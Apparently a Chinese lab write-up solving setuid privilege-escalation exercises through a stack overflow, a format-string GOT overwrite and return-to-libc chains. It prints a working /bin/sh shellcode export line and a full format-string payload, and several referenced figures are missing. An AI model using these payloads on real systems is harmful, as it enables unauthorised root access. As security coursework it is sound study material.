环境准备
关闭地址随机化
用 sudo chown root ...
和 sudo chmod 4755 ...
为 q1~q5
设置特权
q1题解
题面:
short类型最大值为65535
,input的长度高于该值即可造成整数溢出绕过 if(len < MAX_LEN)
检查。
基本思路:利用缓冲区溢出覆盖 foo
栈帧返回地址以导向环境变量中的 shellcode
,从而获取特权。
解题过程
设置环境变量 SHC
存放 shellcode
:
export SHC=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
编写查看 SHC
地址的程序,SHC
的地址为 0xbffffa5a
用gdb
调试 q1
:
foo的返回地址为 0x08048531
copy结束后的命令处打断点以观察栈帧数据
计算得返回地址保存在 0xbfffef28 + 4 = 0xbfffef2c
buffer起始处为 0xbfffee10 + 3*4 + 2 = 0xbfffee1e
计算得到buffer和返回地址相距270字节
构造输入将返回地址处覆盖为SHC地址即可成功获取特权。
q2题解
题面:
strncpy确保了不会发生缓冲区溢出,无法通过该手段覆盖返回地址。但printf(buf)提供了可利用的格式化字符串漏洞。
要把返回地址覆盖,就要修改跳转表中的地址为shellcode的地址,且使程序调用对应的函数。题面中,可利用的exit函数要flag=500时才会调用到,于是利用字符串漏洞修改flag的值。
为什么不直接利用 %n 修改返回地址?因为gdb调试时的地址和实际运行地址有差别,但相对位置、全局变量的地址和跳转表中的地址是不变的。
解题过程
- 修改flag
注意这两个函数调用
第二次printf调用时,第一次调用使用的&flag仍在栈中,它是该次调用的第一个可变参数。
成功修改flag=500
- 修改跳转表
用 objdump -R q2
查得 exit
的表项在 0x0804a010
处。
存储shellcode的环境变量 SHC
位于 0xbffffa5a
处,将 exit
表项值修改为 0xbffffa5a 即可。
用以下方法测算得buf的第一个双字和第二个双字分别对应printf第11和12个可变参数。
将表项的高半节地址和低半字地址存放在字符串首8字节中,构造输出字符数为0xbfff
和0xfa5a
写入,就完成了对表项的覆写。
$'\x12\xa0\x04\x08\x10\xa0\x04\x08'%492x%1\$n%48651x%11\$hn%14939x%12\$hn
成功。
q5题解
题面:
仍然是return-to-libc,但是memset(environ[i], '\0', strlen(environ[i])) 应该是把环境变量清掉了,因此无法把参数通过环境变量传入。但是func中的缓冲区溢出使得我们可以将参数放在栈上。
解题过程
gdb一下,查看q5的func函数的栈帧,不难发现bok起始处距离返回地址有10个双字。
需要特别注意的是bok后保存的是blah的值,即字符串指针。该处要覆盖为其本来的值以免从错误的地址拷贝数据。
攻击字符串构造思路如下:
进入gdb运行一下q5,查询system和exit的地址:
构造攻击字符串,完成提权。
q3题解
题面:
提示用return-to-libc做,但是指定了需要进行的操作,要完成4次libc函数调用。该题没有清环境变量,因此参数可以放在环境变量中。
一般的思路仍是覆盖返回地址以指向一些libc函数,并将参数放在栈上。但该题有多次调用,因此需要在内存代码区寻找一些可用的指令序列(例如pop ret)以将上次函数调用的参数出栈然后ret到下一个调用的入口。
解题过程
首先创建环境变量并获取地址
向badfile写入AAAA后调试q3查看bof栈帧
查看libc函数地址:
然后我们需要在内存代码区寻找一些可用的pop ret序列。main函数和bof函数末尾都是leave; ret;
,虽然leave
也有出栈操作,但是它会顺带移动esp
。于是我们在libc函数中寻找可用的指令。
在system
中,末尾指令为add 0x1c, esp; ret
,可用。
在strlen
中,末尾指令为pop ebx; ret
,可用。
由上,我们可以构造输入使得栈帧数据如下所示:
用python生成恶意输入保存到文件,启动q3,成功获取到特权。
标签:返回,试题,libc,ret,地址,详解,2022,环境变量,SHC From: https://www.cnblogs.com/sarfish/p/17214839.html